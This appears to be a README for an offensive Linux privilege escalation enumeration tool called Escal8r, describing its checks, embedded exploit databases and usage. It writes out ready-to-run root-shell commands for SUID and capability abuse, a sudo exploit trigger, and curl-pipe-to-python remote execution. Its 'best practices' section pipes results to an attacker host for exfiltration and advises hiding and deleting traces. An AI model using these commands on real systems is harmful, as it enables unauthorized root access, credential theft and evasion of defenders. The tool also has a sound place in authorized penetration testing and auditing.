Unified Linux Privilege Escalation Enumeration Tool
A comprehensive, single-file privilege escalation enumeration script that combines the best features of LinEnum, LinPEAS, and AutoLocalPrivilegeEscalation into one weaponizable tool.
Escal8r is a Linux privilege escalation enumeration tool designed for penetration testers and red teamers. It automatically scans a compromised Linux system to identify potential paths to gain root/administrator access.
- β Single File Deployment - Zero external dependencies, pure Python 3
- β
Curl-Pipe Ready -
curl http://server.com/escal8r.py | python3 - β Embedded Databases - All exploit databases built-in (no external files needed)
- β Intelligent Matching - Automatic CVE detection for kernel, sudo, and capabilities
- β Modern Attack Vectors - Container escapes, cloud metadata exploitation
- β Color-Coded Output - Prioritized findings (CRITICAL/HIGH/MEDIUM/LOW)
- β 139+ Enumeration Checks - Comprehensive coverage across 16 categories
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β escal8r.py β
β (96KB, Single Executable) β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β
β ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β EMBEDDED JSON DATABASES (52KB) β β
β ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€ β
β β β’ data_gtfobins.json - 100+ exploitable bins β β
β β β’ data_kernel_exploits - 24 kernel CVEs β β
β β β’ data_sudo_exploits - 10+ sudo vulnerabilities β β
β β β’ data_capabilities.json - 23 Linux capabilities β β
β ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β β
β ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β 16 ENUMERATION CLASSES (139+ checks) β β
β ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€ β
β β SystemEnumerator - Kernel, OS, security β β
β β UserEnumerator - Users, groups, sudo β β
β β FileEnumerator - SUID/SGID, capabilities β β
β β NetworkEnumerator - Interfaces, ports β β
β β ProcessEnumerator - Processes, cron, timers β β
β β ContainerEnumerator - Docker, LXD, K8s β β
β β CloudEnumerator - AWS, GCP, Azure β β
β β SoftwareEnumerator - Compilers, databases β β
β β CredentialHunter - SSH keys, API keys β β
β β EnvironmentEnumerator - PATH, LD_PRELOAD β β
β β LegacyAuthEnumerator - .rhosts, hosts.equiv β β
β β LogAndMailEnumerator - Log/mail access β β
β β AdditionalSoftwareEnum - Splunk, Jenkins, Log4j β β
β β TempAndCacheEnumerator - /tmp, coredumps β β
β β ExploitMatcher - CVE matching engine β β
β β Reporter - Summary generator β β
β ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
The JSON files in this repository are exploit databases that power Escal8r's intelligent analysis:
Purpose: Maps 100+ Unix binaries to privilege escalation techniques
Why it exists: When Escal8r finds a SUID/SGID binary, it cross-references this database to determine if it's exploitable. For example:
- Finding
/usr/bin/vimwith SUID β Database provides:vim -c ':!/bin/sh' - Finding
/usr/bin/dockerβ Database suggests container escape techniques
Example Entry:
{
"python": {
"sudo": ["sudo python -c 'import os; os.system(\"/bin/bash\")'"],
"suid": ["./python -c 'import os; os.setuid(0); os.system(\"/bin/bash\")'"],
"capabilities": ["CAP_SETUID"],
"shell": true
}
}Purpose: Maps Linux kernel versions to known CVEs (2010-2023)
Why it exists: Escal8r extracts the running kernel version and checks if any public exploits exist. Contains 24 kernel exploits including:
- DirtyPipe (CVE-2022-0847)
- Dirty Cow (CVE-2016-5195)
- PwnKit (CVE-2021-4034)
- OverlayFS (CVE-2021-3493)
- LoonyTunables (CVE-2023-4911)
Example Entry:
{
"name": "DirtyPipe",
"cve": "CVE-2022-0847",
"kernel_min": "5.8",
"kernel_max": "5.16.11",
"description": "Local privilege escalation via pipe buffer overwrite",
"severity": "critical",
"exploit_url": "https://haxx.in/files/dirtypipez.c"
}Purpose: Maps sudo versions to CVEs and dangerous configurations
Why it exists: Checks sudo version against 10+ known vulnerabilities and scans /etc/sudoers for dangerous patterns like:
NOPASSWD: ALLentriesLD_PRELOADenvironment preservation(ALL, !root)bypass (CVE-2019-14287)
Example Entry:
{
"name": "Baron Samedit",
"cve": "CVE-2021-3156",
"version_min": "1.8.2",
"version_max": "1.8.31p2",
"description": "Heap-based buffer overflow in sudo",
"severity": "critical",
"exploit_cmd": "sudoedit -s '\\' $(python3 -c 'print(\"A\"*1000)')"
}Purpose: Maps Linux capabilities to exploitation techniques
Why it exists: Modern Linux uses capabilities instead of SUID for fine-grained privileges. This database maps 23 capabilities (like CAP_SETUID, CAP_DAC_OVERRIDE) to specific exploit commands.
Example Entry:
{
"CAP_SETUID": {
"severity": "critical",
"description": "Make arbitrary manipulations of process UIDs",
"exploit": "setuid(0) to gain root",
"impact": "Direct root privilege escalation",
"example": "python -c 'import os; os.setuid(0); os.system(\"/bin/bash\")'"
}
}During Build:
# JSON files exist as separate files for maintenance
data_gtfobins.json
data_kernel_exploits.json
data_sudo_exploits.json
data_capabilities.jsonDuring Deployment:
# JSON content is EMBEDDED into escal8r.py as Python strings
GTFOBINS_DB = r"""{"bash": {...}, "vim": {...}}"""
KERNEL_EXPLOITS_DB = r"""{"exploits": [...]}"""
SUDO_EXPLOITS_DB = r"""{"exploits": [...]}"""
CAPABILITIES_DB = r"""{"capabilities": {...}}"""At Runtime:
# Databases are parsed from embedded strings
gtfobins = json.loads(GTFOBINS_DB)
kernel_db = json.loads(KERNEL_EXPLOITS_DB)
# No external files required!# Local execution
python3 escal8r.py
# Remote execution (no file transfer needed)
curl http://yourserver.com/escal8r.py | python3
# Or with wget
wget -qO- http://yourserver.com/escal8r.py | python3
# Save output to file
python3 escal8r.py > results.txt- Python: 3.6+ (Python 2 not supported)
- Dependencies: None (stdlib only)
- Privileges: Works as any user (more findings with root)
- OS: Linux (tested on Ubuntu, Debian, RHEL, CentOS)
- Kernel version and OS detection
- Hostname and architecture
- Security features (SELinux, AppArmor, ASLR)
- Current user, UID, groups
- Interesting group membership (docker, lxd, adm, disk, sudo)
- All system users and superuser accounts
- Passwordless sudo (
sudo -n -l) - Sudo version detection
/etc/passwd,/etc/shadowaccessibility- Password hashes in
/etc/passwd
- SUID files (
find / -perm -4000) + GTFOBins matching - SGID files (
find / -perm -2000) + GTFOBins matching - File capabilities (
getcap -r /) + exploitation templates - Writable system files (
/etc/passwd,/etc/shadow,/etc/sudoers) - World-writable SUID/SGID binaries
- NFS exports with
no_root_squash /etc/fstabcredential detection- Mount options analysis (nosuid bypass)
- Network interfaces (ifconfig/ip addr)
- Listening ports (netstat/ss)
- Routing table and ARP cache
- DNS configuration
- Running processes and root processes
- Process binaries and permissions
- Cron jobs (
/etc/cron*,/var/spool/cron) - Writable cron scripts
- Systemd timers
- Anacron jobs
- Docker container detection (
/.dockerenv, cgroups) - Docker installed and socket access
- Docker group membership β CRITICAL
- Can list containers (
docker ps) - LXC/LXD detection
- LXD group membership β CRITICAL
- Kubernetes service account tokens
- Kubeconfig detection
- Container escape vector identification
- AWS EC2 metadata service (169.254.169.254)
- AWS IAM role credentials β CRITICAL
- AWS Lambda detection
- AWS ECS detection
- Google Cloud Platform metadata
- Microsoft Azure metadata
- DigitalOcean metadata
- Compilers (gcc, python, perl, ruby, go, java)
- MySQL + default credential test
- PostgreSQL, MongoDB, Redis
- Apache version & config access
- Nginx version
- Git +
.gitdirectory scan - Git credential detection
- SSH private keys (id_rsa, id_dsa, id_ecdsa, id_ed25519)
- SSH authorized_keys
- Command history files (
.bash_history,.zsh_history) - Password patterns in history
- Database configuration files
.envfiles β HIGH PRIORITY- AWS credentials (
~/.aws/credentials) β CRITICAL - API key pattern matching
- Backup files (*.bak, *.backup, *.old, *~)
- Sensitive backup detection
- Environment variables enumeration
- Sensitive data in env vars (password, secret, key, token)
- PATH writable directories β HIGH
- LD_PRELOAD detection
- LD_LIBRARY_PATH detection
hosts.equivdetection.rhostsfile enumeration.planfile discovery
/var/log/accessibility- Readable log files (auth.log, secure, messages)
- Root mail access attempts
- Splunk, Jenkins, Ansible
- Puppet, Chef, Vault (HashiCorp)
- Logstash configuration
- Log4j JAR detection (CVE-2021-44228)
/tmpand/dev/shmanalysis- Coredump discovery
- PHP session file enumeration
# Extracts kernel version: 5.15.0
# Compares against 24 CVE ranges
# Output:
[CRITICAL] DirtyPipe (CVE-2022-0847)
Local privilege escalation via pipe buffer overwrite
Kernel range: 5.8 - 5.16.11
[EXPLOIT]: https://haxx.in/files/dirtypipez.c# Parses: Sudo version 1.8.31p2
# Matches against 10+ sudo CVEs
# Scans /etc/sudoers for patterns
# Output:
[CRITICAL] Baron Samedit (CVE-2021-3156)
Heap-based buffer overflow in sudo
Version range: 1.8.2 - 1.8.31p2
[EXPLOIT]: https://github.com/blasty/CVE-2021-3156# Parses: /usr/bin/python3.8 = cap_setuid+ep
# Matches against 23 capabilities
# Provides ready-to-use exploit
# Output:
[CRITICAL] CAP_SETUID on /usr/bin/python3.8
Make arbitrary manipulations of process UIDs
Impact: Direct root privilege escalation
[EXPLOIT]: python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'# Finds: -rwsr-xr-x /usr/bin/vim
# Cross-references GTFOBins database
# Output:
[CRITICAL] SUID binary with GTFOBins entry: /usr/bin/vim
Can be exploited for privilege escalation
[EXPLOIT]: vim -c ':!/bin/sh'βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β EXECUTIVE SUMMARY β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Hostname: victim-server
Current User: www-data
Kernel: Linux 5.15.0-83-generic
CRITICAL Findings: 5
HIGH Findings: 12
MEDIUM Findings: 8
LOW Findings: 3
[β] Enumeration complete!
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β PHASE 1-14: ENUMERATION (Data Collection) β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β’ Runs 139+ checks across 14 enumeration classes β
β β’ Collects: files, processes, configs, credentials β
β β’ Stores findings in all_results dictionary β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β PHASE 15: EXPLOIT MATCHING (Intelligent Analysis) β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β KERNEL EXPLOIT MATCHING β β
β β β’ Extract kernel version (e.g., 5.15.0) β β
β β β’ Compare against 24 kernel CVE ranges β β
β β β’ Match: DirtyPipe, Dirty Cow, PwnKit, etc. β β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β SUDO EXPLOIT MATCHING β β
β β β’ Parse sudo version (e.g., 1.9.13p2) β β
β β β’ Check against 10+ sudo CVEs β β
β β β’ Scan sudoers for dangerous configs β β
β β β’ Detect: LD_PRELOAD, NOPASSWD, pwfeedback β β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β CAPABILITY EXPLOIT MATCHING β β
β β β’ Parse getcap output for each binary β β
β β β’ Match against 23 dangerous capabilities β β
β β β’ Provide exploitation templates β β
β β β’ Detect: CAP_SETUID, CAP_DAC_OVERRIDE, etc. β β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β SUID/SGID + GTFOBins MATCHING β β
β β β’ Find all SUID/SGID binaries β β
β β β’ Cross-reference with GTFOBins database β β
β β β’ Highlight: bash, vim, python, docker, etc. β β
β β β’ Provide ready-to-use exploitation commands β β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β PHASE 16: REPORT GENERATION β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β’ Color-coded findings: CRITICAL/HIGH/MEDIUM/LOW β
β β’ Exploitation suggestions embedded with each finding β
β β’ Executive summary with finding counts β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
| Source Tool | Checks | Coverage |
|---|---|---|
| LinEnum | 60+ | ~98% |
| LinPEAS | 147+ | ~85% |
| AutoLocalPE | 24 | 100% |
| Total Unique | 180+ | ~92-95% |
Findings are color-coded by severity:
- π΄ CRITICAL (Red) - Direct privilege escalation paths
- π‘ HIGH (Yellow) - Likely exploitation vectors
- π΅ MEDIUM (Blue) - Potential security issues
- π΅ LOW (Cyan) - Informational findings
Each finding includes:
- Title - What was found
- Description - Why it's dangerous
- Exploit - Ready-to-use command or URL
Low Footprint:
- No compilation required
- No external files created (unless redirected)
- Runs entirely in memory
- Execution time: ~2-3 minutes
Detection Risks:
- SUID/SGID file searches trigger filesystem scans
- Capability checks require
getcap(may not be installed) - Network metadata queries create HTTP requests (cloud)
- EDR/AV may flag enumeration behavior
Best Practices:
# Run with output redirection to avoid terminal artifacts
python3 escal8r.py > /tmp/.hidden_results.txt
# Clean up after execution
rm /tmp/.hidden_results.txt
# Or pipe directly to remote exfiltration
python3 escal8r.py | curl -X POST -d @- https://attacker.com/uploadEscal8r/
βββ escal8r.py # Main executable (96KB, 2,740 lines)
βββ data_gtfobins.json # GTFOBins database (25KB)
βββ data_kernel_exploits.json # Kernel CVE database (12KB)
βββ data_sudo_exploits.json # Sudo vulnerability database (6KB)
βββ data_capabilities.json # Capabilities database (9KB)
βββ MASTER_ENUMERATION_MATRIX.md # Complete check mapping (33KB)
βββ LINPEAS_ENUMERATION_CATALOG.md # LinPEAS analysis (54KB)
βββ STATUS_REPORT.md # Project status
βββ README.md # This file
To add new enumeration checks:
- Create/Edit an Enumerator Class:
class CustomEnumerator:
def __init__(self):
self.results = {}
def check_custom_vulnerability(self):
"""Check for custom vulnerability"""
# Your enumeration logic here
result = run_cmd("your_command_here")
if suspicious_condition:
print_finding("CRITICAL",
"Custom Finding Title",
"Description of the issue",
"Exploitation command or URL")
self.results['custom_vuln'] = result
return self.results- Integrate into main():
def main():
# ... existing phases ...
# Phase N: Custom checks
custom_enum = CustomEnumerator()
all_results.update(custom_enum.check_custom_vulnerability())To update the embedded databases:
- Edit the JSON files:
vim data_kernel_exploits.json
# Add new CVE entry- Rebuild escal8r.py (if databases are separate):
# The databases are already embedded in escal8r.py
# If you need to re-embed, update the GTFOBINS_DB, KERNEL_EXPLOITS_DB, etc. variables# After gaining initial foothold (web shell, RCE):
wget http://yourserver.com/escal8r.py -O /tmp/e.py && python3 /tmp/e.py# Quick privilege escalation enumeration:
curl http://10.10.14.5/escal8r.py | python3 | grep -E "CRITICAL|HIGH"# Automated enumeration in C2 framework:
execute-assembly escal8r.py > /tmp/.results
# Exfiltrate /tmp/.results via C2 channel# Defensive use - find privilege escalation risks:
python3 escal8r.py > audit_report_$(hostname)_$(date +%Y%m%d).txtIMPORTANT: This tool is designed for authorized security testing only.
- β Use on systems you own or have explicit permission to test
- β Use in controlled CTF/lab environments
- β Use for authorized penetration testing engagements
- β Do NOT use on systems without authorization
- β Unauthorized access to computer systems is illegal
The authors assume no liability for misuse or illegal use of this tool.
Contributions are welcome! Areas for improvement:
- Add more kernel exploits (2024+ CVEs)
- Expand GTFOBins database
- Add Windows compatibility layer
- Build pure Bash version (no Python required)
- Add ACL and extended attribute checks
- Improve container escape detection
- Add Active Directory enumeration for Linux-joined systems
Escal8r combines techniques and databases from:
- LinEnum by rebootuser
- LinPEAS by Carlos Polop
- AutoLocalPrivilegeEscalation by ngalongc
- GTFOBins by GTFOBins Team
- HackTricks by Carlos Polop
v1.0.0 (2025-11-06)
- β Initial release
- β 139+ enumeration checks
- β 16 enumeration classes
- β Kernel, sudo, and capability exploit matching
- β GTFOBins integration
- β Container and cloud detection
- β Single-file deployment
For bug reports, feature requests, or questions:
- GitHub Issues: Create an issue
- Project Repository: Escal8r on GitHub
Happy Hunting! π―